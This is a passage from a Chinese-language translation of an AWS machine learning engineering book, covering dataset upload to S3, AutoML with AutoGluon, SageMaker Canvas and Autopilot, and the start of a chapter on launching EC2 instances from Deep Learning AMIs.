Amazon S3 是 AWS 的对象存储服务,我们可以在其中存储不同类型的文件,例如数据集 CSV 文件和输出工件。在使用 AWS 的不同服务时,需要注意的是,这些服务有时要求输入数据和文件首先存储在 S3 存储桶中,或者存储在另一个服务创建的资源中。
将数据集上传到 S3 应该很简单。继续我们在训练-测试分割部分留下的内容,我们将在终端运行以下命令:
-
在终端运行以下命令。在这里,我们将创建一个新的 S3 存储桶,它将包含我们在本章中使用的数据。请确保将
<INSERT BUCKET NAME HERE>
的值替换为一个在所有 AWS 用户中全局唯一的存储桶名称:BUCKET_NAME="<INSERT BUCKET NAME HERE>"
aws s3 mb s3://$BUCKET_NAME
关于 S3 存储桶命名规则的更多信息,请随时查看docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.xhtml
。
-
现在 S3 存储桶已经创建,让我们使用AWS CLI上传训练和测试数据集:
S3=s3://$BUCKET_NAME/datasets/bookings
TRAIN=bookings.train.csv
TEST=bookings.test.csv
aws s3 cp tmp/bookings.train.csv $S3/$TRAIN
aws s3 cp tmp/bookings.test.csv $S3/$TEST
现在一切准备就绪,我们可以进行激动人心的部分了!是时候我们使用各种解决方案和服务执行多个AutoML实验了。
使用 AutoGluon 进行 AutoML
之前,我们讨论了什么是超参数。在训练和调整机器学习模型时,了解机器学习模型的性能取决于算法、训练数据以及训练模型时使用的超参数配置对我们来说非常重要。其他输入配置参数也可能影响模型的性能,但我们现在将专注于这三个方面。团队不是训练单个模型,而是使用各种超参数配置构建多个模型。超参数配置的变化和调整会影响模型的性能——一些会导致更好的性能,而另一些则会导致更差的表现。尝试所有可能的超参数配置组合需要时间,尤其是如果模型调整过程没有自动化的话。
在过去几年中,几个库、框架和服务使团队能够充分利用 自动化机器学习(AutoML)来自动化 ML 流程的不同部分。最初,AutoML 工具专注于自动化 超参数优化(HPO)过程以获得最佳的超参数值组合。在运行训练作业时,我们不需要花费数小时(甚至数天)手动尝试不同的超参数组合,我们只需配置、运行并等待这个自动化程序帮助我们找到最佳的超参数值组合。多年来,几个专注于自动化超参数优化的工具和库可供 ML 实践者使用。过了一段时间,ML 工作流程的其他方面和过程也被自动化并包含在 AutoML 流程中。
对于 AutoML,有几种工具和服务可用,其中最受欢迎的选项之一是 AutoGluon。使用 AutoGluon,我们可以使用不同的算法训练多个模型,并通过几行代码来评估它们:
图 1.12 – AutoGluon 排行榜 – 使用各种算法训练的模型
与前面截图所示类似,我们还可以使用排行榜比较生成的模型。在本章中,我们将使用 AutoGluon 与表格数据集。然而,重要的是要注意,AutoGluon 也支持为文本和图像数据执行 AutoML 任务。
设置和安装 AutoGluon
在使用 AutoGluon 之前,我们需要安装它。安装过程可能需要一分钟或更长时间:
-
在安装 AutoGluon 之前,请在终端中运行以下命令来安装和更新先决条件:
python3 -m pip install -U "mxnet<2.0.0"
python3 -m pip install numpy
python3 -m pip install cython
python3 -m pip install pyOpenSSL --upgrade
本书假设您正在使用以下版本或更高版本:mxnet
– 1.9.0
,numpy
– 1.19.5
,和 cython
– 0.29.26
。
-
接下来,运行以下命令来安装
autogluon
:python3 -m pip install autogluon
本书假设您正在使用 autogluon
版本 0.3.1
或更高版本。
重要提示
此步骤可能需要大约 5 到 10 分钟才能完成。您可以随意拿一杯咖啡或茶!
在我们的 Cloud9 环境中安装了 AutoGluon 后,让我们开始我们的第一个 AutoGluon AutoML 实验。
执行您的第一个 AutoGluon AutoML 实验
如果您已经使用了 fit()
和 predict()
,请按照以下步骤操作:
-
首先,请在终端中运行以下命令:
ipython
这将打开 IPython 读取-评估-打印循环(REPL)/交互式外壳。我们将像使用 Python shell 一样使用它。
-
在控制台中,键入(或复制)以下代码块。确保在键入关闭括号后按 Enter:
from autogluon.tabular import (
TabularDataset,
TabularPredictor
)
-
现在,让我们通过运行以下语句将存储在
bookings.train.csv
和bookings.test.csv
文件中的合成数据分别加载到train_data
和test_data
变量中:train_loc = 'tmp/bookings.train.csv'
test_loc = 'tmp/bookings.test.csv'
train_data = TabularDataset(train_loc)
test_data = TabularDataset(test_loc)
由于 AutoGluon 的父类TabularDataset
是一个 pandas DataFrame,我们可以在train_data
和test_data
上使用不同的方法,如head()
、describe()
、memory_usage()
等。
-
接下来,运行以下代码行:
label = 'is_cancelled'
save_path = 'tmp'
tp = TabularPredictor(label=label, path=save_path)
predictor = tp.fit(train_data)
在这里,我们将is_cancelled
指定为 AutoML 任务的目标变量,并将tmp
目录指定为生成的模型将被存储的位置。此代码块将使用我们提供的训练数据,使用不同的算法训练多个模型。AutoGluon 将自动检测我们正在处理的是一个二元分类问题,并使用多种机器学习算法生成多个二元分类器模型。
重要提示
在tmp/models
目录内,我们应该找到CatBoost
、ExtraTreesEntr
和ExtraTreesGini
,以及其他与 AutoML 任务中使用的算法对应的目录。这些目录中的每一个都包含一个model.pkl
文件,其中包含序列化的模型。为什么我们有多个模型?在幕后,AutoGluon 运行了大量的训练实验,使用各种算法以及不同超参数值的组合,以产生“最佳”模型。使用某种评估指标来选择“最佳”模型,该指标有助于识别哪个模型比其他模型表现更好。例如,如果使用的评估指标是准确率,那么准确率为 90%(每 10 次尝试中有 9 次正确)的模型比准确率为 80%(每 10 次尝试中有 8 次正确)的模型“更好”。话虽如此,一旦模型生成并评估完毕,AutoGluon 将简单地选择评估指标值(例如,准确率)最高的模型,并将其标记为“最佳模型”。
-
现在我们已经准备好了“最佳模型”,接下来我们该做什么?下一步是我们使用测试数据集来评估“最佳模型”。换句话说,让我们准备测试数据集以进行推理,通过移除目标标签:
y_test = test_data[label]
test_data_no_label = test_data.drop(columns=[label])
-
一切准备就绪后,让我们使用
predict()
方法来预测提供的测试数据集的is_cancelled
列值:y_pred = predictor.predict(test_data_no_label)
-
现在我们已经有了实际的y值(
y_test
)和预测的y值(y_pred
),让我们快速检查训练模型的性能,通过使用evaluate_predictions()
方法:predictor.evaluate_predictions(
y_true=y_test,
y_pred=y_pred,
auxiliary_metrics=True
)
之前的代码块应该产生类似于以下性能指标值的输出:
{'accuracy': 0.691...,
'balanced_accuracy': 0.502...,
'mcc': 0.0158...,
'f1': 0.0512...,
'precision': 0.347...,
'recall': 0.0276...}
在这一步,我们使用各种公式比较实际值与目标列预测值之间的接近程度。在这里,训练模型的目的是在未见数据上尽可能少犯错误。更好的模型通常在性能指标如准确率、马修斯相关系数(MCC)和F1 分数上得分更高。我们不会在这里详细介绍模型性能指标的工作原理。如有需要,请自由查阅bit.ly/3zn2crv
获取更多信息。
-
现在我们已经完成了快速实验,让我们退出IPython shell:
exit()
使用 AutoGluon 我们还可以做更多的事情,但这应该有助于我们欣赏使用 AutoGluon 进行 AutoML 实验的简便性。我们还可以使用其他方法,例如leaderboard()
、get_model_best()
和feature_importance()
,如有需要,请自由查阅auto.gluon.ai/stable/index.xhtml
获取更多信息。
开始使用 SageMaker 和 SageMaker Studio
在 AWS 上执行机器学习和机器学习工程时,专业人士应考虑使用Amazon SageMaker的一个或多个功能和特性。如果你是第一次了解 SageMaker,它是一个全托管的机器学习服务,有助于显著加快准备、训练、评估和部署机器学习模型的过程。
如果你想知道这些功能是什么,请查看《如何利用 AWS 的机器学习工程师》章节中图 1.2下标记为ML 服务的一些功能。随着我们阅读本书的不同章节,我们将探讨 SageMaker 的几个功能。在此期间,我们将从 SageMaker Studio 开始,因为在我们处理 SageMaker Canvas 和 SageMaker Autopilot 示例之前,我们需要先设置它。
使用 SageMaker Studio 进行入门
SageMaker Studio为机器学习从业者提供了一个功能丰富的 IDE。SageMaker Studio 的其中一个优点是它与 SageMaker 的其他功能紧密集成,这使我们能够仅通过界面来管理不同的 SageMaker 资源。
为了让我们对它的外观和工作方式有一个良好的了解,让我们继续设置和配置 SageMaker Studio:
-
在 AWS 控制台的搜索栏中,输入
sagemaker studio
。在功能下选择SageMaker Studio。 -
选择标准设置,如图下截图所示:
图 1.13 – 设置 SageMaker 域
如我们所见,标准设置应该会给我们提供比快速设置更多的配置选项来调整。在点击配置按钮之前,请确保您使用的是 S3 存储桶和训练及测试数据集所在的相同区域。
-
在身份验证下,选择AWS 身份和访问管理(IAM)。在权限下的默认执行角色中,选择创建新角色。选择任何 S3 存储桶。然后,点击创建角色。
-
在
us-west-2a
下),类似于以下截图所示:
图 1.14 – 网络和存储部分
在这里,我们还已将 SageMaker 域配置为使用默认的 SageMaker 互联网访问,通过选择仅公共互联网。在加密密钥下,我们选择无自定义加密以保持不变。审查配置后,然后点击下一步。
重要提示
注意,对于生产环境,最后几步中指定的安全配置需要审查和进一步升级。同时,由于我们处理的是样本数据集,这应该足够了。我们将在第九章**,安全、治理和合规策略中详细讨论如何保护环境。
-
在工作室设置下,保持一切不变并点击下一步。
-
类似地,在常规设置 | RStudio 工作台下,点击提交。
完成这些步骤后,你应该会看到准备 SageMaker 域的加载信息。这一步大约需要 3 到 5 分钟才能完成。完成后,你应该会看到一个通知,表明SageMaker 域已就绪。
向现有 SageMaker 域添加用户
现在我们已经准备好了SageMaker 域,让我们创建一个用户。创建用户很简单,所以让我们开始:
-
在SageMaker 域/控制面板页面,点击添加用户。
-
在名称下指定用户名。在默认执行角色下,选择你在上一步中创建的执行角色。点击下一步。
-
在工作室设置 | SageMaker 项目和 JumpStart下,点击下一步。
-
在RStudio 设置 | Rstudio 工作台下,点击提交。
目前这应该就足够了。在第九章**,安全、治理和合规策略中,我们将审查如何改进这里的配置以提高我们环境的安全性。
使用 SageMaker Canvas 进行无代码机器学习
在使用更全面的 SageMaker 功能进行 ML 实验和部署之前,让我们首先使用SageMaker Canvas构建一个模型。SageMaker Canvas 的一个优点是构建模型和使用它们进行预测不需要编写代码。当然,SageMaker Autopilot将提供更强大和灵活的功能集,但 SageMaker Canvas 应该有助于业务分析师、数据科学家和初级 ML 工程师理解 ML 流程并立即开始构建模型。
由于我们的数据集已经上传到 S3 存储桶,我们可以开始构建和训练我们的第一个 SageMaker Canvas 模型:
- 在SageMaker 域/控制面板页面,找到我们刚刚创建的用户所在的行,然后点击启动应用。从下拉菜单中选择Canvas,如图下所示:
图 1.15 – 启动 SageMaker Canvas
如我们所见,我们可以从SageMaker 域/控制面板页面启动 SageMaker Canvas。我们也可以在这里启动 SageMaker Studio,我们将在本章的后面进行操作。
- 点击新建模型:
图 1.16 – SageMaker Canvas 模型页面
在这里,我们有 SageMaker Canvas 的模型页面,它应该列出我们已训练的模型。由于我们还没有训练任何东西,我们应该看到您尚未创建任何模型的消息。
-
在
first-model
)中点击创建。 -
当你看到入门指南窗口时,点击跳过介绍。
-
在 S3 存储桶的
Amazon S3/<S3 BUCKET>/datasets/bookings
文件夹中点击booking.train.csv
和booking.test.csv
文件。
图 1.17 – 选择要导入的文件
选择必要的 CSV 文件,如图中所示,然后点击导入数据。
重要提示
注意,如果你在你的账户中有大量的 S3 存储桶,你可能会在“将数据集上传到 S3”部分难以找到我们创建的 S3 存储桶。请随意使用位于右侧、表格上方带有搜索 Amazon S3占位符的搜索框。
-
文件导入完成后,点击包含
bookings.train.csv
的行对应的单选按钮。点击选择数据集。 -
从目标列字段的下拉选项列表中选择
is_cancelled
。 -
接下来,点击预览模型(位于快速构建按钮下方),如图下所示:
图 1.18 – 构建选项卡
几分钟后,我们应该得到大约 70%的估计准确率。请注意,在这个步骤中,你可能会得到不同的数字。
- 点击快速构建并等待模型准备就绪。
重要提示
此步骤可能需要 15 分钟才能完成。在等待期间,让我们快速讨论快速构建和标准构建之间的区别。快速构建使用较少的记录进行训练,通常持续 2 到 15 分钟,而标准构建则持续更长的时间——通常大约 2 到 4 小时。重要的是要注意,使用快速构建训练的模型不能在 SageMaker Studio 与其他数据科学家或 ML 工程师共享。另一方面,使用标准构建训练的模型在构建完成后可以共享。
- 一旦结果可用,您可以通过点击以下截图中的高亮选项卡来打开评分选项卡:
图 1.19 – 分析选项卡
我们应该看到一个快速图表,显示用于分析模型的记录数,以及模型做出的正确与错误预测的数量。
重要提示
到目前为止,我们已经构建了一个可以用来预测预订是否会取消的 ML 模型。由于在这个例子中准确率分数只有大约 70%,我们预计模型在 10 次尝试中大约会有 7 次正确答案。在第十一章**,使用 SageMaker Pipelines 的机器学习管道中,我们将训练这个模型的改进版本,其准确率分数约为 88%。
-
一旦我们检查完分析选项卡中的不同数字和图表,我们可以通过点击预测按钮继续。
-
点击
bookings.test.csv
并点击生成预测。 -
一旦状态列的值设置为就绪,将鼠标悬停在行中的状态列上,点击 3 个点(在悬停行后出现),然后从选项列表中选择预览:
图 1.20 – 批量预测结果
我们应该看到一个值表,类似于前面截图中所显示的。在第一列,我们应该有我们测试数据集每一行的is_cancelled
字段的预测值。在第二列,我们应该找到预测正确的概率。
重要提示
注意,我们还可以通过点击预测目标值下的单次预测来使用提供的界面进行单次预测。
- 最后,让我们登出我们的会话。点击左侧侧边栏中的账户图标,然后选择登出选项。
重要提示
确保您在使用 SageMaker Canvas 后始终登出当前会话,以避免任何意外费用。有关更多信息,请参阅docs.aws.amazon.com/sagemaker/latest/dg/canvas-log-out.xhtml
。
难道不是很容易吗?现在我们已经对如何使用 SageMaker Canvas 有了很好的了解,让我们使用 SageMaker Autopilot 运行一个 AutoML 实验。
使用 SageMaker Autopilot 的 AutoML
SageMaker Autopilot允许机器学习从业者构建高质量的机器学习模型,而无需编写一行代码。当然,可以使用 SageMaker Python SDK 编程配置、运行和管理 SageMaker Autopilot 实验,但我们将专注于使用 SageMaker Studio 界面运行 AutoML 实验。在我们配置第一个 Autopilot 实验之前,让我们看看幕后发生了什么:
图 1.21 – 使用 SageMaker Autopilot 的 AutoML
在前面的图中,我们可以看到 SageMaker Autopilot 在运行 AutoML 实验时执行的不同步骤。它从数据预处理步骤开始,然后进行候选模型生成(管道和算法对)步骤。接着,它继续执行特征工程和模型调优步骤,这将从不同的模型家族、超参数值和模型性能指标值中产生多个训练模型。具有最佳性能指标值的模型被 Autopilot 作业标记为“最佳模型”。接下来,生成两个报告:可解释性报告和洞察报告。最后,模型被部署到推理端点。
让我们更深入地了解一下每个步骤中发生的情况:
-
数据预处理:数据会自动清理,缺失值会自动填充。
-
候选定义生成:生成多个“候选定义”(由数据处理作业和训练作业组成),所有这些都将用于数据集上。
-
特征工程:在这里,应用数据转换以执行自动特征工程。
-
模型调优:SageMaker 的自动模型调优(超参数调优)功能用于使用各种超参数配置值生成多个模型,以找到“最佳模型”。
-
可解释性报告生成:使用 SageMaker Clarify(SageMaker 关注 AI 公平性和可解释性的另一个功能)提供的工具生成的模型可解释性报告,利用 SHAP 值帮助解释生成的模型的行为。我们将在第九章“安全、治理和合规策略”中稍后更深入地探讨这个话题。
-
洞察报告生成:洞察报告包括数据洞察,如标量指标,这些指标有助于我们更好地理解我们的数据集,该报告被生成。
-
模型部署:最佳模型被部署到专门的推理端点。在这里,使用目标指标值来确定在模型调优步骤中训练的所有模型中哪个是最佳模型。
重要提示
如果您想知道 AutoML 解决方案是否会完全“取代”数据科学家,那么对您问题的快速回答将是“不会”或“不会很快”。ML 流程的某些特定领域需要数据科学家具备领域知识。AutoML 解决方案有助于提供良好的起点,数据科学家和 ML 从业者可以在其基础上构建。例如,白盒 AutoML 解决方案如 SageMaker Autopilot 可以生成脚本和笔记本,数据科学家和 ML 从业者可以对其进行修改,以产生定制和复杂的数据处理、实验和部署流程和管道。
现在我们对 Autopilot 实验期间发生的事情有了更好的了解,让我们运行我们的第一个 Autopilot 实验:
- 在控制面板页面,点击启动应用下拉菜单,从下拉选项列表中选择Studio,如图以下截图所示:
图 1.22 – 打开 SageMaker Studio
注意,如果这是您第一次打开SageMaker Studio,它可能需要大约 5 分钟才能加载。
重要提示
AWS 定期发布 SageMaker Studio 的更新和升级。为确保您使用的是最新版本,请确保您关闭并更新 SageMaker Studio 和 Studio Apps。更多信息,请访问docs.aws.amazon.com/sagemaker/latest/dg/studio-tasks-update.xhtml
。
- 打开文件菜单,在新建子菜单下点击实验:
图 1.23 – 使用文件菜单创建新实验
在这里,新建子菜单下有多个选项。我们将在本书的其余部分探索其他选项。
在接下来的步骤中,我们将配置 Autopilot 实验,类似于以下截图所示:
图 1.24 – 配置 Autopilot 实验
在这里,我们可以看到在运行 Autopilot 实验之前可用的不同配置选项。请注意,实际的 Autopilot 实验设置表单只有一列,而不是两列。
-
指定
first-automl-job
)。 -
在我们之前通过点击浏览上传的
bookings.train.csv
文件下。 -
在目标下拉菜单中,选择is_cancelled。点击下一步:训练方法。
-
其他一切保持不变,然后点击下一步:部署和高级设置。
-
确保将自动部署?配置设置为是。
重要提示
您可以选择将自动部署配置设置为否,这样 Autopilot 作业就不会创建推理端点。如果您将其设置为是,请确保您删除了不使用的推理端点。
- 在高级设置(可选)> 运行时下,将最大候选数设置为20(或者也可以将最大试验运行时间分钟和最大作业运行时间分钟都设置为20)。点击下一步:审查和创建。
重要提示
将值设置为20
意味着 Autopilot 将为这个自动驾驶作业训练和考虑仅 20 个候选模型。当然,我们可以将其设置为更高的数字,这将增加找到具有更高评估指标分数的候选模型(例如,表现更好的模型)的机会。然而,这意味着 Autopilot 的运行时间会更长,因为我们将会运行更多的训练作业。由于我们只是尝试这个功能,所以我们暂时将20
设置好应该没问题。
- 审查我们在之前步骤中设置的配置参数,并点击创建实验。当询问是否要自动部署最佳模型时,点击确认。一旦 AutoML 作业开始,我们应该看到一个类似于以下内容的加载屏幕:
图 1.25 – 等待 AutoML 作业完成
在这里,我们可以看到自动驾驶作业涉及以下步骤:
-
预处理
-
生成的候选定义
-
特征工程
-
模型调优
-
生成的可解释性报告
-
生成的洞察报告
-
部署模型
如果我们将自动部署配置设置为是,则最佳模型将自动部署到 24/7 运行的推理端点。
重要提示
此步骤可能需要大约 30 分钟到 1 小时才能完成。请随意喝杯咖啡或茶!
大约一个小时后,我们应该会看到一个试验列表,以及由多个训练作业生成的几个模型,如下面的截图所示:
图 1.26 – 自动驾驶作业结果
我们还应该在页面右上角看到两个按钮:打开候选生成笔记本和打开数据探索笔记本。由于这两个笔记本是在过程早期生成的,我们可能会在实验开始后大约 10 到 15 分钟看到这些按钮出现。
- 点击打开候选生成笔记本和打开数据探索笔记本按钮,打开由 SageMaker Autopilot 生成的笔记本:
图 1.27 – 数据探索报告(左)和候选定义笔记本(右)
这里,我们可以看到左侧的数据探索报告和右侧的候选定义笔记本。数据探索报告帮助数据科学家和机器学习工程师识别给定数据集中的问题。它包含一个列分析报告,显示了缺失值的百分比,以及一些计数统计和描述性统计。另一方面,候选定义笔记本包含了建议的机器学习算法,以及规定的超参数范围。除此之外,它还包含了在训练步骤开始之前推荐的预处理步骤。
这些生成的笔记本的伟大之处在于,我们可以根据需要修改这些笔记本的某些部分。这使得 SageMaker Autopilot 对初学者来说易于使用,同时仍然允许中级用户自定义 AutoML 过程的某些部分。
重要提示
如果您想了解更多关于 SageMaker Autopilot 的信息,包括 AutoML 实验生成的输出工件,请查看《使用 Amazon SageMaker CookBook 进行机器学习》一书的第六章,SageMaker 训练和调试解决方案。您应该在那里找到几个侧重于使用SageMaker Python SDK编程运行和管理 Autopilot 实验的食谱。
- 返回包含 Autopilot 作业结果的标签页。在带有最佳模型标签的行上右键单击,并在上下文菜单中选择在模型详情中打开。这应该会打开一个类似于以下截图所示的页面:
图 1.28 – 模型详情页面
这里,我们可以看到reserved_room_type、lead_time 和 adr是影响酒店预订取消机会的最重要特征。
备注
注意,您可能得到的结果与我们本节中的结果不同。
我们还应该在模型详情页面上看到以下信息:
-
问题类型
-
使用的算法
-
输入和输出工件的位置
-
模型指标值
-
训练模型使用的超参数值
重要提示
确保您删除了运行 SageMaker Autopilot 实验后创建的推理端点(s)。要找到正在运行的推理端点,只需导航到us-west-2.console.aws.amazon.com/sagemaker/home?region=us-west-2#/endpoints
,并手动删除未使用的资源。请注意,提供的链接假设推理端点已在俄勒冈州(us-west-2)区域创建。我们现在将跳过使用推理端点进行样本预测的操作。我们将在此之后,包括部署策略,在第第七章,SageMaker 部署解决方案中介绍。
到目前为止,我们应该已经很好地掌握了如何使用几个 AutoML 解决方案,例如 AutoGluon、SageMaker Canvas 和 SageMaker Autopilot。正如我们在本节的动手解决方案中所看到的,当我们使用 SageMaker Autopilot 来影响最佳模型寻找过程时,我们有相当多的选择。如果我们更习惯于一个选项更少的简单 UI,那么我们可能会选择使用 SageMaker Canvas。如果我们更习惯于通过代码开发和工程 ML 解决方案,那么我们也可以考虑使用 AutoGluon。
摘要
在本章中,我们通过在 AWS 上使用各种服务、功能和工具进行了多次 AutoML 实验,开始了我们的学习之旅。这包括在 Cloud9 环境中使用 AutoGluon,以及使用 SageMaker Canvas 和 SageMaker Autopilot 来运行 AutoML 实验。本章中提出的解决方案帮助我们更好地理解了基本的 ML 和 ML 工程概念。我们能够看到 ML 过程中的一些步骤是如何实际操作的,例如 EDA、训练-测试分割、模型训练、评估和预测。
在下一章中,我们将关注 AWS 深度学习 AMI 如何帮助加快 ML 实验过程。我们还将更深入地了解 AWS 如何为 EC2 实例定价,以便我们在管理云中运行 ML 工作负载的整体成本时能更好地装备自己。
进一步阅读
有关本章涵盖主题的更多信息,请参阅以下资源:
-
《AutoGluon:文本、图像和表格数据的 AutoML》(
auto.gluon.ai/stable/index.xhtml
) -
《使用 Amazon SageMaker Autopilot 自动化模型开发》(
docs.aws.amazon.com/sagemaker/latest/dg/autopilot-automate-model-development.xhtml
) -
《SageMaker Canvas 定价》(
aws.amazon.com/sagemaker/canvas/pricing/
) -
《使用 Amazon SageMaker 的机器学习食谱》,作者:Joshua Arvin Lat (
www.amazon.com/Machine-Learning-Amazon-SageMaker-Cookbook/dp/1800567030/
)
第二章:深度学习 AMIs
在 第一章 的 基本先决条件 部分,即 AWS 机器学习工程简介,我们可能花费了大约一个小时来设置我们的 Cloud9 环境。在能够着手处理实际的 机器学习 (ML) 需求之前,我们必须花费一些时间安装几个包,以及一些依赖项。除此之外,我们还得确保使用某些包的正确版本,以避免遇到各种问题。如果你认为这很易出错且繁琐,想象一下被分配给一个数据科学团队准备 20 个 ML 环境的任务!让我再重复一遍…… 二十个!这将花费我们大约 15 到 20 个小时重复做同样的事情。在使用你准备的 ML 环境一周后,数据科学家们随后要求你也在这些环境中安装深度学习框架 TensorFlow、PyTorch 和 MXNet,因为他们将使用这些 ML 框架测试不同的深度学习模型。在这个时候,你可能已经在问自己,“有没有更好的方法来做这件事?”。好消息是,有各种方法可以更有效地处理这些类型的需求。其中一种可能的解决方案是利用 Amazon Machine Images (AMIs),特别是 AWS 深度学习 AMIs (DLAMIs),以显著加快准备 ML 环境的过程。在启动新实例时,这些 AMIs 将作为预配置的模板,包含相关的软件和环境配置。
在 DLAMIs 存在之前,机器学习工程师必须在能够运行 AWS 云中的 ML 工作负载之前,花费数小时在 EC2 实例中安装和配置深度学习框架。从头开始手动准备这些 ML 环境的过程既繁琐又易出错。一旦 DLAMIs 可用,数据科学家和机器学习工程师就能直接使用他们偏好的深度学习框架进行 ML 实验。
在本章中,我们将看到使用特定框架的深度学习 AMI 设置 GPU 实例是多么方便。然后,我们将在这个环境中使用 TensorFlow 和 Keras 训练深度学习模型。一旦训练步骤完成,我们将使用测试数据集评估模型。之后,我们将执行清理步骤并终止 EC2 实例。在本章的结尾,我们还将简要讨论 AWS 对 EC2 实例的定价方式。这将帮助你掌握管理这些实例中运行 ML 工作负载所需的总成本的知识。
话虽如此,在本章中,我们将涵盖以下主题:
-
开始使用 Deep Learning AMIs
-
使用深度学习 AMI 启动 EC2 实例
-
下载示例数据集
-
训练机器学习模型
-
加载和评估模型
-
清理工作
-
理解 AWS 对 EC2 实例的定价方式
本章的动手实践解决方案将帮助你将任何现有的TensorFlow、PyTorch和MXNet脚本和模型迁移到 AWS 云。除了前面提到的成本讨论之外,我们还将讨论一些安全指南和最佳实践,以帮助我们确保我们设置的环境具有良好的初始安全配置。考虑到这些,让我们开始吧!
技术要求
在我们开始之前,我们必须有一个网络浏览器(最好是 Chrome 或 Firefox)和一个 AWS 账户,用于本章的动手实践解决方案。确保你有访问你在第一章,AWS 上的机器学习工程简介中使用的 AWS 账户。
每章使用的 Jupyter 笔记本、源代码和其他文件都可在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
开始使用 Deep Learning AMIs
在我们讨论 DLAMIs 之前,我们必须对 AMIs 有一个很好的了解。我们可以将 AMI 比作生物体的“DNA”。使用这个类比,生物体会对应并映射到一个或多个 EC2 实例:
图 2.1 – 使用 Deep Learning AMIs 启动 EC2 实例
如果我们使用相同的 AMI(类似于图 2.1中所示)启动两个 EC2 实例,那么在实例启动时,这两个实例将具有相同的已安装软件包、框架、工具和操作系统。当然,并非所有内容都需要相同,因为这些实例可能有不同的实例类型、不同的安全组和其他可配置属性。
AMIs 允许工程师轻松地在一致的环境中启动 EC2 实例,而无需花费数小时安装不同的软件包和工具。除了安装步骤之外,这些 EC2 实例在使用特定工作负载之前还需要进行配置和优化。预构建的 AMI,如 DLAMIs,已经预装了流行的深度学习框架,如TensorFlow、PyTorch和MXNet。这意味着数据科学家、开发人员和机器学习工程师可以继续进行机器学习实验和部署,而无需担心安装和设置过程。
如果我们需要准备安装了这些深度学习框架的 20 个 ML 环境,我非常确信这不会花费我们 20 个或更多小时。如果我们使用 DLAMI,可能 2 到 3 个小时就足够完成任务了。你不相信我吗? 在下一节中,我们将会这样做! 当然,我们只会准备一个 ML 环境,而不是 20 个。当在本章中处理实际解决方案时,你将注意到在设置和配置运行 ML 实验所需的先决条件时,速度会有显著提升。
注意
需要注意的是,我们有选择在现有的 AMI 上构建并准备我们自己的定制 AMI。然后,我们可以在启动新的 EC2 实例时使用这些定制 AMI。
使用深度学习 AMI 启动 EC2 实例
从 DLAMI 启动 EC2 实例非常简单。一旦我们确定了要使用的 DLAMI,接下来的步骤就主要集中在配置和启动 EC2 实例上。这里有趣的是,我们不仅限于从一个现有的镜像中启动单个实例。在配置阶段,在从 AMI 启动实例之前,需要注意的是,我们可以指定要启动的实例数量(例如,20
)。这意味着我们不会启动单个实例,而是同时启动 20 个实例。
图 2.2 – 使用 DLAMI 启动 EC2 实例的步骤
我们将把这个部分分为四个部分。如图所示,我们首先将定位到 p3.2xlarge
作为实例类型,寻找框架特定的深度学习 AMI。然后,我们将配置实例将使用的安全设置,包括网络安全设置。最后,我们将启动实例,并通过 EC2 实例连接 从浏览器连接到它。
定位框架特定的 DLAMI
在寻找 AMI 时,我们应该首先检查的地方是 AWS AMI 目录。在 AMI 目录中,我们应该找到各种 DLAMI。这些 DLAMI 可以分为多框架 DLAMI 或框架特定 DLAMI。有什么区别? 多框架 DLAMI 在单个 AMI 中包含多个框架,例如 TensorFlow、PyTorch 或 MXNet。这允许开发人员、机器学习工程师和数据科学家轻松地进行多个框架的实验和探索。另一方面,框架特定 DLAMI 更适合生产环境,并且只支持单个框架。在本章中,我们将使用框架特定的(TensorFlow)深度学习 AMI。
在接下来的步骤中,我们将导航到 AMI 目录,并使用框架特定的(TensorFlow)深度学习 AMI 来启动实例:
- 导航到 AWS 管理控制台,然后在搜索栏中输入
ec2
。从结果列表中选择EC2:
图 2.3 – 导航到 EC2 控制台
我们应该看到一系列匹配结果,如 EC2、EC2 图像构建器和AWS 计算优化器,类似于 图 2.2 中所示。从这个列表中,我们将选择第一个,这将带我们转到 EC2 控制台。
-
在侧边栏中,找到并点击镜像下的AMI 目录以导航到EC2 > AMI 目录页面。
-
接下来,在AMI 目录页面内的搜索栏中输入
deep learning ami
。确保按下Enter键以搜索与搜索查询相关的相关 AMI:
图 2.4 – 搜索框架特定的深度学习 AMI
如前图所示,我们应该在快速启动 AMI下有几项匹配结果。在AWS Marketplace AMI和社区 AMI下也应有所匹配结果。快速启动 AMI 包括用于关键工作负载的常用 AMI,例如 Amazon Linux 2 AMI、Ubuntu Server 20.04 LTS AMI、深度学习 AMI(Amazon Linux 2)AMI 等。AWS Marketplace AMI 包括 AWS 创建的几个 AMI,以及由受信任的第三方来源创建的 AMI。这些应包括 OpenVPN 访问服务器 AMI、Kali Linux AMI 和 Splunk 企业版 AMI。所有公开可用的 AMI 都可以在社区 AMI下找到。
- 滚动快速启动 AMI列表,找到框架特定的深度学习 AMI,如图下所示:
图 2.5 – 定位 TensorFlow DLAMI
在这里,我们选择框架特定的(TensorFlow)深度学习 AMI 用于 Amazon Linux 2,因为我们将在本章后面使用 TensorFlow 训练 ML 模型。通过阅读 AMI 的名称和描述来验证选择。然后,点击选择按钮。
- 在上一步点击了选择按钮后,向上滚动到页面顶部并点击使用 AMI 启动实例按钮,如图下所示:
图 2.6 – 使用 AMI 启动实例
如我们所见,使用 AMI 启动实例按钮就在使用 AMI 创建模板按钮旁边。
重要提示
使用AWS 深度学习 AMI没有额外的费用。这意味着我们只需要考虑与创建的基础设施资源相关的成本。然而,使用其他 AMI 可能并不免费。例如,由其他公司创建的 AMI(在AWS Marketplace AMI下提供的列表中)可能每小时收取额外费用。话虽如此,检查使用这些 AMI 启动的基础设施资源之上的任何额外费用是很重要的。
点击使用 AMI 启动实例按钮应将您重定向到如图所示的启动实例页面:
图 2.7 – 启动实例页面
由于 AWS 定期更新控制台中启动和管理资源的功能,您在执行下一组步骤时可能会看到一些差异。然而,无论您在处理本节时控制台看起来如何,期望的最终配置都将保持不变。
- 在名称字段下的
MLE-CH02-DLAMI
。
在设置名称字段值之后,下一步涉及选择我们 EC2 实例所需的目标实例类型。在我们进行选择目标实例类型之前,我们必须简要讨论一下可用的实例类型以及哪些类型的实例适合大规模机器学习工作负载。
选择实例类型
